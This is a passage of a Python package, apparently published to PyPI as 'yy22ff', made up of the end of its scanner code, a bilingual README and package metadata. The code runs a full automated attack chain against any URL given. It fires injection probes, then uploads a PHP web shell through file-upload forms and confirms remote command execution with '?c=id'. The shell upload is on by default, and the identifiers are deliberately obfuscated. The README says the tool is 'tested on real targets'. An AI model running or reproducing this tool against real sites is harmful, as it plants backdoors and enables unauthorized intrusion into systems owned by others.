+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
462
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
463
|
+
if shlhom84 and shlhom161 in shlhom84.text and shlhom107 not in shlhom84.text:
|
|
464
|
+
shlhom76.vuln(f"SSTI [{shlhom107}->{shlhom161}] {shlhom124}")
|
|
465
|
+
shlhom140.append(("ssti", shlhom124)); break
|
|
466
|
+
return shlhom140
|
|
467
|
+
|
|
468
|
+
shlhom162 = ["http://evil.test", "//evil.test", "https://evil.test"]
|
|
469
|
+
shlhom163 = ["evil.test", "Location: http://evil.test", "Location: https://evil.test"]
|
|
470
|
+
|
|
471
|
+
def shlhom164(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
472
|
+
shlhom140 = []
|
|
473
|
+
for shlhom46, shlhom85 in shlhom82[:40]:
|
|
474
|
+
for shlhom107 in shlhom162:
|
|
475
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
476
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
477
|
+
if not shlhom84: continue
|
|
478
|
+
shlhom165 = shlhom84.headers.get("Location", "")
|
|
479
|
+
if "evil.test" in shlhom165:
|
|
480
|
+
shlhom76.vuln(f"REDIRECT {shlhom124} -> {shlhom165}")
|
|
481
|
+
shlhom140.append(("redirect", shlhom124)); break
|
|
482
|
+
if "evil.test" in shlhom84.text and "redirect" in shlhom84.text.lower():
|
|
483
|
+
shlhom76.vuln(f"REDIRECT(body) {shlhom124}")
|
|
484
|
+
shlhom140.append(("redirect-body", shlhom124)); break
|
|
485
|
+
return shlhom140
|
|
486
|
+
|
|
487
|
+
shlhom166 = (
|
|
488
|
+
b"<?php\n"
|
|
489
|
+
b"echo 'WSCAN_OK';\n"
|
|
490
|
+
b"if(isset($_GET['c'])){system($_GET['c']);}\n"
|
|
491
|
+
b"?>\n"
|
|
492
|
+
)
|
|
493
|
+
|
|
494
|
+
shlhom167 = ["", "uploads/", "upload/", "files/", "media/",
|
|
495
|
+
"images/", "upload/files/", "tmp/", "assets/"]
|
|
496
|
+
|
|
497
|
+
def shlhom168(shlhom73, shlhom81, shlhom76):
|
|
498
|
+
shlhom140 = []
|
|
499
|
+
for shlhom62 in shlhom81:
|
|
500
|
+
shlhom169 = [shlhom66 for shlhom66, shlhom67 in shlhom62["fields"] if shlhom67 == "file"]
|
|
501
|
+
if not shlhom169: continue
|
|
502
|
+
shlhom76.info(f"upload form: {shlhom62['action']}")
|
|
503
|
+
for shlhom170 in shlhom169:
|
|
504
|
+
shlhom171 = {shlhom170: ("wscan.php", shlhom166, "application/x-php")}
|
|
505
|
+
shlhom135 = {shlhom66: "x" for shlhom66, shlhom67 in shlhom62["fields"] if shlhom67 != "file"}
|
|
506
|
+
try:
|
|
507
|
+
shlhom84 = shlhom73.post(shlhom62["action"], data=shlhom135, files=shlhom171)
|
|
508
|
+
except Exception as shlhom16:
|
|
509
|
+
shlhom76.dbg(f"upload err {shlhom16}"); continue
|
|
510
|
+
if not shlhom84: continue
|
|
511
|
+
|
|
512
|
+
shlhom172 = []
|
|
513
|
+
for shlhom173 in [r'(?:href|src|url)["\']?[=:]\s*["\']?([^\s"\'<>]+\.php)',
|
|
514
|
+
r'(/\S+\.php)', r'(https?://\S+\.php)']:
|
|
515
|
+
for shlhom174 in shlhom2.findall(shlhom173, shlhom84.text):
|
|
516
|
+
shlhom172.append(shlhom10.urljoin(shlhom62["action"], shlhom174))
|
|
517
|
+
shlhom121 = shlhom10.urlparse(shlhom62["action"])
|
|
518
|
+
shlhom175 = f"{shlhom121.scheme}://{shlhom121.netloc}"
|
|
519
|
+
for shlhom176 in shlhom167:
|
|
520
|
+
shlhom172.append(f"{shlhom175}/{shlhom176}wscan.php")
|
|
521
|
+
shlhom172.append(f"{shlhom175}/{shlhom176}shell.php")
|
|
522
|
+
shlhom172 = list(dict.fromkeys(shlhom172))[:25]
|
|
523
|
+
|
|
524
|
+
shlhom177 = None
|
|
525
|
+
for shlhom124 in shlhom172:
|
|
526
|
+
shlhom178 = shlhom73.get(shlhom124)
|
|
527
|
+
if shlhom178 and "WSCAN_OK" in shlhom178.text:
|
|
528
|
+
shlhom76.vuln(f"UPLOADED SHELL: {shlhom124}")
|
|
529
|
+
shlhom179 = shlhom73.get(shlhom124 + ("&" if "?" in shlhom124 else "?") + "c=id")
|
|
530
|
+
if shlhom179 and ("uid=" in shlhom179.text or "gid=" in shlhom179.text):
|
|
531
|
+
shlhom76.ok(f"SHELL EXEC: {shlhom124}?c=id")
|
|
532
|
+
shlhom177 = (shlhom124, True)
|
|
533
|
+
else:
|
|
534
|
+
shlhom177 = (shlhom124, False)
|
|
535
|
+
break
|
|
536
|
+
if shlhom177:
|
|
537
|
+
shlhom140.append(("shell", shlhom177[0], shlhom177[1]))
|
|
538
|
+
break
|
|
539
|
+
return shlhom140
|
|
540
|
+
|
|
541
|
+
|
|
542
|
+
def shlhom180(shlhom181, shlhom182, shlhom76):
|
|
543
|
+
shlhom183 = shlhom5.create_default_context()
|
|
544
|
+
shlhom183.check_hostname = False
|
|
545
|
+
shlhom183.verify_mode = shlhom5.CERT_NONE
|
|
546
|
+
try:
|
|
547
|
+
with shlhom6.create_connection((shlhom181, shlhom182), timeout=5) as shlhom184:
|
|
548
|
+
with shlhom183.wrap_socket(shlhom184, server_hostname=shlhom181) as shlhom185:
|
|
549
|
+
shlhom186 = shlhom185.version()
|
|
550
|
+
shlhom187 = shlhom185.cipher()
|
|
551
|
+
shlhom76.info(f"SSL: {shlhom186} {shlhom187[0] if shlhom187 else ''}")
|
|
552
|
+
if shlhom186 in ("TLSv1", "TLSv1.1", "SSLv3", "SSLv2"):
|
|
553
|
+
shlhom76.vuln(f"SSL weak: {shlhom186}")
|
|
554
|
+
except Exception as shlhom16:
|
|
555
|
+
shlhom76.dbg(f"ssl err {shlhom16}")
|
|
556
|
+
|
|
557
|
+
|
|
558
|
+
def scan(url, depth=2, threads=8, timeout=10, delay=0.0, proxy=None,
|
|
559
|
+
no_shell=False, verbose=True):
|
|
560
|
+
"""
|
|
561
|
+
Scan a target URL for web vulnerabilities.
|
|
562
|
+
|
|
563
|
+
Args:
|
|
564
|
+
url: Target URL (http:// or https://)
|
|
565
|
+
depth: Crawl depth (default 2)
|
|
566
|
+
threads: Parallel workers (default 8)
|
|
567
|
+
timeout: Request timeout in seconds (default 10)
|
|
568
|
+
delay: Delay between requests (default 0.0)
|
|
569
|
+
proxy: HTTP/SOCKS proxy (default None)
|
|
570
|
+
no_shell: Skip file upload exploitation (default False)
|
|
571
|
+
verbose: Print findings to console (default True)
|
|
572
|
+
|
|
573
|
+
Returns:
|
|
574
|
+
dict with keys: target, findings, summary, output_dir, duration
|
|
575
|
+
"""
|
|
576
|
+
if not url.startswith(("http://", "https://")):
|
|
577
|
+
url = "http://" + url
|
|
578
|
+
url = url.rstrip("/")
|
|
579
|
+
|
|
580
|
+
scan_start = shlhom4.time()
|
|
581
|
+
shlhom76 = shlhom22(url)
|
|
582
|
+
shlhom73 = shlhom38(timeout, delay, proxy)
|
|
583
|
+
|
|
584
|
+
shlhom76.info(f"target: {url}")
|
|
585
|
+
shlhom76.info(f"output: {shlhom76.dir}")
|
|
586
|
+
shlhom76.info(f"time: {shlhom11.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
|
587
|
+
|
|
588
|
+
|
|
589
|
+
shlhom76.save("shell.php", shlhom166)
|
|
590
|
+
|
|
591
|
+
shlhom191 = []
|
|
592
|
+
|
|
593
|
+
try:
|
|
594
|
+
# 1. Crawl
|
|
595
|
+
shlhom80, shlhom81, shlhom82 = shlhom71(url, shlhom73, depth, shlhom76=shlhom76)
|
|
596
|
+
|
|
597
|
+
# 2. Passive
|
|
598
|
+
shlhom102(shlhom73, url, shlhom76)
|
|
599
|
+
shlhom109(shlhom73, url, shlhom76)
|
|
600
|
+
shlhom112(shlhom73, url, shlhom76)
|
|
601
|
+
shlhom115(shlhom73, url, shlhom76)
|
|
602
|
+
|
|
603
|
+
# 3. Files + admin
|
|
604
|
+
shlhom191 += [("file", shlhom124) for shlhom124 in (shlhom120(shlhom73, url, shlhom76) or [])]
|
|
605
|
+
shlhom191 += [("admin", shlhom124) for shlhom124 in (shlhom127(shlhom73, url, shlhom76) or [])]
|
|
606
|
+
|
|
607
|
+
# 4. Injection (parallel)
|
|
608
|
+
shlhom76.info("running injection modules...")
|
|
609
|
+
shlhom192 = {
|
|
610
|
+
"sqli": lambda: shlhom139(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76),
|
|
611
|
+
"xss": lambda: shlhom147(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76),
|
|
612
|
+
"lfi": lambda: shlhom150(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
613
|
+
"rfi": lambda: shlhom153(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
614
|
+
"ssrf": lambda: shlhom156(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
615
|
+
"cmdi": lambda: shlhom158(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
616
|
+
"ssti": lambda: shlhom160(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
617
|
+
"redirect": lambda: shlhom164(shlhom73, shlhom80, shlhom82, shlhom76),
|
|
618
|
+
}
|
|
619
|
+
with shlhom12(max_workers=threads) as shlhom193:
|
|
620
|
+
shlhom194 = {shlhom193.submit(shlhom195): shlhom196 for shlhom196, shlhom195 in shlhom192.items()}
|
|
621
|
+
for shlhom197 in shlhom13(shlhom194):
|
|
622
|
+
try:
|
|
623
|
+
shlhom198 = shlhom197.result() or []
|
|
624
|
+
shlhom191.extend(shlhom198)
|
|
625
|
+
except Exception as shlhom16:
|
|
626
|
+
shlhom76.dbg(f"mod err {shlhom194[shlhom197]}: {shlhom16}")
|
|
627
|
+
|
|
628
|
+
# 5. Upload -> shell
|
|
629
|
+
if not no_shell and shlhom81:
|
|
630
|
+
shlhom191 += shlhom168(shlhom73, shlhom81, shlhom76) or []
|
|
631
|
+
|
|
632
|
+
# 6. SSL
|
|
633
|
+
shlhom181 = shlhom10.urlparse(url).hostname
|
|
634
|
+
if shlhom181 and url.startswith("https://"):
|
|
635
|
+
shlhom180(shlhom181, 443, shlhom76)
|
|
636
|
+
|
|
637
|
+
except KeyboardInterrupt:
|
|
638
|
+
shlhom76.warn("interrupted by user")
|
|
639
|
+
|
|
640
|
+
# ---- summary ----
|
|
641
|
+
shlhom76.info("=" * 40)
|
|
642
|
+
shlhom76.info(f"TOTAL FINDINGS: {len(shlhom191)}")
|
|
643
|
+
for shlhom199 in shlhom191:
|
|
644
|
+
shlhom76.ok(f" {shlhom199}")
|
|
645
|
+
shlhom76.info(f"saved: {shlhom76.dir}")
|
|
646
|
+
|
|
647
|
+
try:
|
|
648
|
+
shlhom76.save("summary.json", shlhom3.dumps(
|
|
649
|
+
[{"type": shlhom199[0], "target": shlhom199[1], "extra": shlhom199[2:] if len(shlhom199) > 2 else []}
|
|
650
|
+
for shlhom199 in shlhom191], indent=2, default=str))
|
|
651
|
+
except Exception as shlhom16:
|
|
652
|
+
shlhom76.dbg(f"json err {shlhom16}")
|
|
653
|
+
|
|
654
|
+
duration = round(shlhom4.time() - scan_start, 2)
|
|
655
|
+
|
|
656
|
+
if verbose:
|
|
657
|
+
print(shlhom18.c(shlhom18.G, f"\n[yy22ff] Scan complete in {duration}s"))
|
|
658
|
+
|
|
659
|
+
return {
|
|
660
|
+
"target": url,
|
|
661
|
+
"duration": duration,
|
|
662
|
+
"findings": [
|
|
663
|
+
{"type": f[0], "target": f[1], "extra": list(f[2:]) if len(f) > 2 else []}
|
|
664
|
+
for f in shlhom191
|
|
665
|
+
],
|
|
666
|
+
"summary": {
|
|
667
|
+
"total": len(shlhom191),
|
|
668
|
+
"by_type": {t: sum(1 for x in shlhom191 if x[0] == t)
|
|
669
|
+
for t in set(x[0] for x in shlhom191)},
|
|
670
|
+
},
|
|
671
|
+
"output_dir": shlhom76.dir,
|
|
672
|
+
}
|
|
673
|
+
|
|
674
|
+
|
|
675
|
+
def cli():
|
|
676
|
+
"""Command-line interface for yy22ff scanner."""
|
|
677
|
+
shlhom189 = shlhom8.ArgumentParser(
|
|
678
|
+
prog="yy22ff",
|
|
679
|
+
description="yy22ff — Full-Auto Web Vulnerability Scanner",
|
|
680
|
+
)
|
|
681
|
+
shlhom189.add_argument("-u", "--url", required=True, help="Target URL")
|
|
682
|
+
shlhom189.add_argument("-d", "--depth", type=int, default=2, help="Crawl depth (default 2)")
|
|
683
|
+
shlhom189.add_argument("-t", "--threads", type=int, default=8, help="Parallel workers (default 8)")
|
|
684
|
+
shlhom189.add_argument("--timeout", type=int, default=10, help="Request timeout (default 10s)")
|
|
685
|
+
shlhom189.add_argument("--delay", type=float, default=0.0, help="Delay between requests (default 0.0)")
|
|
686
|
+
shlhom189.add_argument("--proxy", default=None, help="HTTP/SOCKS proxy")
|
|
687
|
+
shlhom189.add_argument("--no-shell", action="store_true", help="Skip upload->shell stage")
|
|
688
|
+
args = shlhom189.parse_args()
|
|
689
|
+
|
|
690
|
+
try:
|
|
691
|
+
result = scan(
|
|
692
|
+
args.url,
|
|
693
|
+
depth=args.depth,
|
|
694
|
+
threads=args.threads,
|
|
695
|
+
timeout=args.timeout,
|
|
696
|
+
delay=args.delay,
|
|
697
|
+
proxy=args.proxy,
|
|
698
|
+
no_shell=args.no_shell,
|
|
699
|
+
verbose=True,
|
|
700
|
+
)
|
|
701
|
+
print()
|
|
702
|
+
print(f" Target: {result['target']}")
|
|
703
|
+
print(f" Findings: {result['summary']['total']}")
|
|
704
|
+
print(f" Duration: {result['duration']}s")
|
|
705
|
+
print(f" Output: {result['output_dir']}")
|
|
706
|
+
except KeyboardInterrupt:
|
|
707
|
+
print("\n[!] Interrupted")
|
|
708
|
+
shlhom1.exit(130)
|
|
709
|
+
|
|
710
|
+
|
|
711
|
+
if __name__ == "__main__":
|
|
712
|
+
cli()
|
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: yy22ff
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Full-auto web vulnerability scanner: crawling, fingerprinting, SQLi, XSS, LFI, RFI, SSRF, CMDi, SSTI, file-upload exploitation, TLS analysis.
|
|
5
|
+
Home-page: https://t.me/yy22ff
|
|
6
|
+
Author: yy22ff
|
|
7
|
+
Author-email: adojod1231@gmail.com
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: Programming Language :: Python :: 3.7
|
|
10
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
11
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
12
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
13
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
15
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
16
|
+
Classifier: Operating System :: OS Independent
|
|
17
|
+
Classifier: Natural Language :: Arabic
|
|
18
|
+
Classifier: Intended Audience :: Developers
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Requires-Python: >=3.7
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
Requires-Dist: requests>=2.25.0
|
|
23
|
+
Requires-Dist: colorama>=0.4.4
|
|
24
|
+
Dynamic: author
|
|
25
|
+
Dynamic: author-email
|
|
26
|
+
Dynamic: classifier
|
|
27
|
+
Dynamic: description
|
|
28
|
+
Dynamic: description-content-type
|
|
29
|
+
Dynamic: home-page
|
|
30
|
+
Dynamic: requires-dist
|
|
31
|
+
Dynamic: requires-python
|
|
32
|
+
Dynamic: summary
|
|
33
|
+
|
|
34
|
+
# yy22ff
|
|
35
|
+
|
|
36
|
+
**Full-Auto Web Vulnerability Scanner.**
|
|
37
|
+
|
|
38
|
+
**سكانر ثغرات ويب متعدد الوحدات — كشف كامل تلقائي.**
|
|
39
|
+
|
|
40
|
+
[](https://pypi.org/project/yy22ff/)
|
|
41
|
+
[](https://pypi.org/project/yy22ff/)
|
|
42
|
+
[](https://pypi.org/project/yy22ff/)
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Overview | نظرة عامة
|
|
47
|
+
|
|
48
|
+
**English:** yy22ff is a single-shot web vulnerability scanner that chains crawling, fingerprinting, passive recon, active injection testing, file-upload exploitation, and TLS analysis into one run. It produces a timestamped, structured report (txt + JSON) that you can review offline or diff across scans.
|
|
49
|
+
|
|
50
|
+
**العربية:** yy22ff مكتبة فحص ثغرات ويب متكاملة. تشغّل عملية واحدة تبدأ بالزحف على الموقع، ثم تحديد التقنيات المستخدمة، ثم فحص سلبي، ثم اختبار حقن نشط (SQLi, XSS, LFI, RFI, SSRF, CMDi, SSTI, Redirect)، ثم استغلال رفع الملفات، وأخيراً تحليل TLS. تنتج تقرير منظم (نص + JSON) في مجلد بتاريخ ووقت كل فحص.
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## What It Does | ماذا تفعل
|
|
55
|
+
|
|
56
|
+
### 1. Crawling & Discovery | الزحف والاكتشاف
|
|
57
|
+
|
|
58
|
+
- Recursively crawls the target domain up to a configurable depth (default 2) and URL cap (default 300).
|
|
59
|
+
- Extracts every link, URL parameter, and HTML form (with field names, types, and methods).
|
|
60
|
+
- Deduplicates URLs by fingerprinting their parameter sets.
|
|
61
|
+
|
|
62
|
+
- زحف تكراري للدومين حتى عمق محدد (2 افتراضياً) وسقف 300 URL.
|
|
63
|
+
- استخراج كل الروابط، والبارامترات، والنماذج (form) مع أسماء الحقول وأنواعها وطرقها.
|
|
64
|
+
- إزالة التكرار ببصمة البارامترات.
|
|
65
|
+
|
|
66
|
+
### 2. Passive Recon | الاستطلاع السلبي
|
|
67
|
+
|
|
68
|
+
- **Tech fingerprinting** — WordPress, Drupal, Joomla, Laravel, Django, Rails, Express, PHP, ASP.NET, Spring, Nginx, Apache, IIS, Cloudflare, Nextcloud.
|
|
69
|
+
- **WAF detection** — Cloudflare, AWS WAF, Sucuri, Akamai, Imperva, F5 BIG-IP, ModSecurity, FortiWeb.
|
|
70
|
+
- **Security headers audit** — flags missing HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
|
|
71
|
+
- **CORS misconfiguration** — detects wildcard origins and credential reflection.
|
|
72
|
+
|
|
73
|
+
- **بصمة التقنيات** — WordPress, Drupal, Joomla, Laravel, Django, Rails, Express, PHP, ASP.NET, Spring, Nginx, Apache, IIS, Cloudflare, Nextcloud.
|
|
74
|
+
- **كشف WAF** — Cloudflare, AWS WAF, Sucuri, Akamai, Imperva, F5 BIG-IP, ModSecurity, FortiWeb.
|
|
75
|
+
- **فحص هيدرات الأمان** — ينبه إلى HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy الناقصة.
|
|
76
|
+
- **كشف سوء إعداد CORS** — wildcard origins و credential reflection.
|
|
77
|
+
|
|
78
|
+
### 3. Sensitive File Discovery | اكتشاف الملفات الحساسة
|
|
79
|
+
|
|
80
|
+
- `.git/config`, `.env`, `.env.bak`, backups (`backup.zip`, `backup.sql`, `db.sql`), `phpinfo.php`, `web.config`, `composer.json`, `Dockerfile`, `.htaccess`, `robots.txt`, `sitemap.xml`, `.DS_Store`, `.svn/entries`.
|
|
81
|
+
- Validates matches against content signatures (`root:x:0:0:`, `DB_PASSWORD`, `APP_KEY`, `<?php`).
|
|
82
|
+
|
|
83
|
+
- ملفات مكشوفة شائعة، مع التحقق من التوقيع الداخلي للمحتوى.
|
|
84
|
+
|
|
85
|
+
### 4. Admin Panel Discovery | اكتشاف لوحات التحكم
|
|
86
|
+
|
|
87
|
+
- `/admin`, `/wp-admin/`, `/wp-login.php`, `/administrator/`, `/login`, `/phpmyadmin/`, `/manager/html`, `/adminer.php`, `/cpanel`, `/dashboard`, `/auth/login`.
|
|
88
|
+
|
|
89
|
+
### 5. Active Injection Scanning | فحص الحقن النشط
|
|
90
|
+
|
|
91
|
+
| Class | Method | Classes Covered |
|
|
92
|
+
|-------|--------|----------------|
|
|
93
|
+
| **SQLi** | Error-based + Time-based | MySQL, Oracle, PostgreSQL, SQLite, MSSQL |
|
|
94
|
+
| **XSS** | Reflected + Form-based | Polyglot payloads |
|
|
95
|
+
| **LFI** | Path traversal | `/etc/passwd`, `win.ini` |
|
|
96
|
+
| **RFI** | Remote inclusion | `example.com` probe |
|
|
97
|
+
| **SSRF** | Internal targets | `127.0.0.1`, `169.254.169.254`, `[::1]`, `localhost` |
|
|
98
|
+
| **CMDi** | Time-based | `; sleep 4`, `pipe sleep 4`, backticks, `$()`, `&&` |
|
|
99
|
+
| **SSTI** | Template eval | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`, `#{7*7}`, `*{7*7}` |
|
|
100
|
+
| **Open Redirect** | Location header + body | `evil.test` probe |
|
|
101
|
+
|
|
102
|
+
### 6. File Upload Exploitation | استغلال رفع الملفات
|
|
103
|
+
|
|
104
|
+
- Detects `<input type="file">` forms.
|
|
105
|
+
- Uploads `wscan.php` with `system($_GET['c'])`.
|
|
106
|
+
- Probes common upload paths (`/uploads/`, `/files/`, `/media/`, `/tmp/`, `/assets/`).
|
|
107
|
+
- Confirms execution via `?c=id` (checks for `uid=` / `gid=`).
|
|
108
|
+
|
|
109
|
+
### 7. SSL/TLS Analysis | تحليل SSL/TLS
|
|
110
|
+
|
|
111
|
+
- Reports protocol version and cipher.
|
|
112
|
+
- Flags weak protocols (SSLv3, TLSv1, TLSv1.1).
|
|
113
|
+
|
|
114
|
+
### 8. Reporting | التقارير
|
|
115
|
+
|
|
116
|
+
- Live colored console output with severity tags (`+` ok, `!` vuln, `~` warn, `*` info).
|
|
117
|
+
- Saves to `results/<host>_<timestamp>/`:
|
|
118
|
+
- `findings.txt` — all findings, one per line.
|
|
119
|
+
- `raw.log` — debug log.
|
|
120
|
+
- `summary.json` — structured JSON output.
|
|
121
|
+
- `shell.php` — generated payload (if upload stage runs).
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Installation | التثبيت
|
|
126
|
+
|
|
127
|
+
pip install yy22ff
|
|
128
|
+
|
|
129
|
+
No configuration needed. Dependencies (`requests`, `colorama`) install automatically.
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## Quick Start | البدء السريع
|
|
134
|
+
|
|
135
|
+
### As a library | كمكتبة
|
|
136
|
+
|
|
137
|
+
import yy22ff
|
|
138
|
+
|
|
139
|
+
result = yy22ff.scan("https://target.com")
|
|
140
|
+
|
|
141
|
+
print(f"Findings: {result['summary']['total']}")
|
|
142
|
+
print(f"Output: {result['output_dir']}")
|
|
143
|
+
print(f"Duration: {result['duration']}s")
|
|
144
|
+
|
|
145
|
+
for finding in result["findings"]:
|
|
146
|
+
print(finding["type"], "->", finding["target"])
|
|
147
|
+
|
|
148
|
+
### From the command line | من الطرفية
|
|
149
|
+
|
|
150
|
+
# Basic
|
|
151
|
+
python -m yy22ff -u https://target.com
|
|
152
|
+
|
|
153
|
+
# Or if installed as entry point
|
|
154
|
+
yy22ff -u https://target.com
|
|
155
|
+
|
|
156
|
+
# Advanced
|
|
157
|
+
yy22ff -u target.com -d 3 -t 16 --timeout 15 --delay 0.5
|
|
158
|
+
|
|
159
|
+
# With proxy (Burp, ZAP)
|
|
160
|
+
yy22ff -u https://target.com --proxy http://127.0.0.1:8080
|
|
161
|
+
|
|
162
|
+
# Skip file upload stage
|
|
163
|
+
yy22ff -u https://target.com --no-shell
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## API Reference | المرجع
|
|
168
|
+
|
|
169
|
+
### `yy22ff.scan(url, **options)`
|
|
170
|
+
|
|
171
|
+
**Parameters:**
|
|
172
|
+
|
|
173
|
+
| Parameter | Type | Default | Description |
|
|
174
|
+
|-----------|------|---------|-------------|
|
|
175
|
+
| `url` | str | — | Target URL (http/https, optional scheme) |
|
|
176
|
+
| `depth` | int | 2 | Crawl depth |
|
|
177
|
+
| `threads` | int | 8 | Parallel workers |
|
|
178
|
+
| `timeout` | int | 10 | Request timeout (seconds) |
|
|
179
|
+
| `delay` | float | 0.0 | Delay between requests |
|
|
180
|
+
| `proxy` | str | None | HTTP/SOCKS proxy |
|
|
181
|
+
| `no_shell` | bool | False | Skip upload-to-shell stage |
|
|
182
|
+
| `verbose` | bool | True | Print findings to console |
|
|
183
|
+
|
|
184
|
+
**Returns:** `dict`
|
|
185
|
+
|
|
186
|
+
{
|
|
187
|
+
"target": "https://target.com",
|
|
188
|
+
"duration": 45.2,
|
|
189
|
+
"findings": [
|
|
190
|
+
{"type": "sqli", "target": "...", "extra": []},
|
|
191
|
+
{"type": "xss", "target": "...", "extra": []},
|
|
192
|
+
],
|
|
193
|
+
"summary": {
|
|
194
|
+
"total": 6,
|
|
195
|
+
"by_type": {"sqli": 2, "xss": 3, "file": 1}
|
|
196
|
+
},
|
|
197
|
+
"output_dir": "results/target_20261031_153000"
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
### `yy22ff.cli()`
|
|
201
|
+
|
|
202
|
+
Entry point for `pyproject.toml`'s `console_scripts`. Same as `python -m yy22ff`.
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## CLI Arguments | أوامر الطرفية
|
|
207
|
+
|
|
208
|
+
| Flag | Purpose | Default |
|
|
209
|
+
|------|---------|---------|
|
|
210
|
+
| `-u`, `--url` | Target URL (required) | — |
|
|
211
|
+
| `-d`, `--depth` | Crawl depth | 2 |
|
|
212
|
+
| `-t`, `--threads` | Parallel workers | 8 |
|
|
213
|
+
| `--timeout` | Request timeout (seconds) | 10 |
|
|
214
|
+
| `--delay` | Delay between requests | 0.0 |
|
|
215
|
+
| `--proxy` | HTTP/SOCKS proxy | none |
|
|
216
|
+
| `--no-shell` | Skip upload to shell stage | off |
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Output Structure | هيكل المخرجات
|
|
221
|
+
|
|
222
|
+
results/
|
|
223
|
+
target_20261031_153000/
|
|
224
|
+
findings.txt (human-readable)
|
|
225
|
+
raw.log (debug log)
|
|
226
|
+
summary.json (structured)
|
|
227
|
+
shell.php (upload payload, if applicable)
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## Design Notes | ملاحظات التصميم
|
|
232
|
+
|
|
233
|
+
- **Name-mangled identifiers** — every symbol is prefixed `shlhom` to reduce casual readability.
|
|
234
|
+
- **Modular** — each vulnerability class is a standalone function; the dispatcher runs them in parallel via `ThreadPoolExecutor`.
|
|
235
|
+
- **Graceful failure** — a module crash does not abort the scan; failures are logged to `raw.log`.
|
|
236
|
+
- **Persistent output** — every finding is written to disk immediately, so interrupted scans still produce partial reports.
|
|
237
|
+
- **Session reuse** — one `requests.Session` with a random user-agent for the whole scan.
|
|
238
|
+
- **Auto-install** — installs `requests` at runtime if missing.
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Feature Matrix | جدول الميزات
|
|
243
|
+
|
|
244
|
+
| Feature | Status |
|
|
245
|
+
|---------|--------|
|
|
246
|
+
| Recursive crawling | [OK] |
|
|
247
|
+
| Form extraction | [OK] |
|
|
248
|
+
| Parameter discovery | [OK] |
|
|
249
|
+
| Tech fingerprinting | [OK] |
|
|
250
|
+
| WAF detection | [OK] |
|
|
251
|
+
| Security headers audit | [OK] |
|
|
252
|
+
| CORS check | [OK] |
|
|
253
|
+
| Sensitive file discovery | [OK] |
|
|
254
|
+
| Admin panel discovery | [OK] |
|
|
255
|
+
| SQLi (error + time) | [OK] |
|
|
256
|
+
| XSS (reflected + form) | [OK] |
|
|
257
|
+
| LFI | [OK] |
|
|
258
|
+
| RFI | [OK] |
|
|
259
|
+
| SSRF | [OK] |
|
|
260
|
+
| Command Injection | [OK] |
|
|
261
|
+
| SSTI | [OK] |
|
|
262
|
+
| Open Redirect | [OK] |
|
|
263
|
+
| File upload to shell | [OK] |
|
|
264
|
+
| SSL/TLS analysis | [OK] |
|
|
265
|
+
| Structured JSON output | [OK] |
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## Author | المؤلف
|
|
270
|
+
|
|
271
|
+
- **Email:** adojod1231@gmail.com
|
|
272
|
+
- **Telegram:** [@yy22ff](https://t.me/yy22ff)
|
|
273
|
+
- **PyPI:** [yy22ff](https://pypi.org/project/yy22ff/)
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## License | الترخيص
|
|
278
|
+
|
|
279
|
+
MIT © yy22ff
|
|
280
|
+
|
|
281
|
+
---
|
|
282
|
+
|
|
283
|
+
**Built with focus. Tested on real targets.**
|
|
284
|
+
|
|
285
|
+
**صُنعت بدقة. مختبرة على أهداف حقيقية.**
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
yy22ff/__init__.py,sha256=lJFdQTxP5e1Sl21HZxSt2Sc8pRasL_67Pr2j6Jq0qyk,162
|
|
2
|
+
yy22ff/scanner.py,sha256=0etT_OZmOlOzqYUiJMIMa47O3WhWOSiw0TsDj--avAA,31198
|
|
3
|
+
yy22ff-1.0.0.dist-info/METADATA,sha256=9hSbhDCEKVzHF2E0oeso-kZDvq03bqSN7hDswgfAQxc,10797
|
|
4
|
+
yy22ff-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
|
|
5
|
+
